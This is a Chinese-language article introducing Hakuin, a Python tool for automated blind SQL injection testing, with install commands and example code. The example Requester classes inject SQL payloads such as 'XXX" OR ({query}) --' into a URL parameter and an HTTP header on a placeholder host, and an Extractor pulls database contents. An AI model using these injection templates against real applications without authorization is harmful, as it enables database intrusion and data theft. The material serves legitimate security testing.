Hakuin：一款自动化SQL盲注（BSQLI）安全检测工具

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发布于 2024-07-31 18:19:19

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发布于 2024-07-31 18:19:19

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关于Hakuin

Hakuin是一款功能强大的SQL盲注漏洞安全检测工具，该工具专门针对BSQLi设计，可以帮助广大研究人员优化BSQLi测试用例，并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。

该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测，并采用了多种优化方法，包括预训练和自适应语言模型、机会性猜测和并行性机制等。

工具安装

由于该工具基于Python 3开发，因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地：

git clone https://github.com/pruzko/hakuin.git

然后切换到项目目录中，并执行安装命令：

cd hakuin

pip3 install -e .

pip安装

除此之外，我们还可以直接使用pip3命令安装Hakuin：

pip3 install hakuin

工具使用

Hakuin附带一个简单的封装工具，hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息，请运行：

python3 hk.py -h

使用样例

基于状态推断的查询参数注入检测

import aiohttp

from hakuin import Requester



class StatusRequester(Requester):

async def request(self, ctx, query):

        r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')

return r.status == 200

基于内容推断的Header注入检测

class ContentRequester(Requester):

async def request(self, ctx, query):

        headers = {'vulnerable-header': f'xxx" OR ({query}) --'}

        r = await aiohttp.get(f'http://vuln.com/', headers=headers)

return 'found' in await r.text()

尝试提取SQLite/MySQL/PSQL/MSSQL数据

import asyncio

from hakuin import Extractor, Requester

from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL



class StatusRequester(Requester):

    ...



async def main():

# requester:    Use this Requester

# dbms:         Use this DBMS

# n_tasks:      Spawns N tasks that extract column rows in parallel

    ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)

    ...



if __name__ == '__main__':

    asyncio.get_event_loop().run_until_complete(main())

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

Hakuin：

https://github.com/pruzko/hakuin

https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection https://conference.hitb.org/hitbsecconf2023hkt/session/hakuin-injecting-brains-into-blind-sql-injection/ https://wootconference.org/papers/woot23-paper17.pdf

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2024-07-24，如有侵权请联系 cloudcommunity@tencent.com 删除

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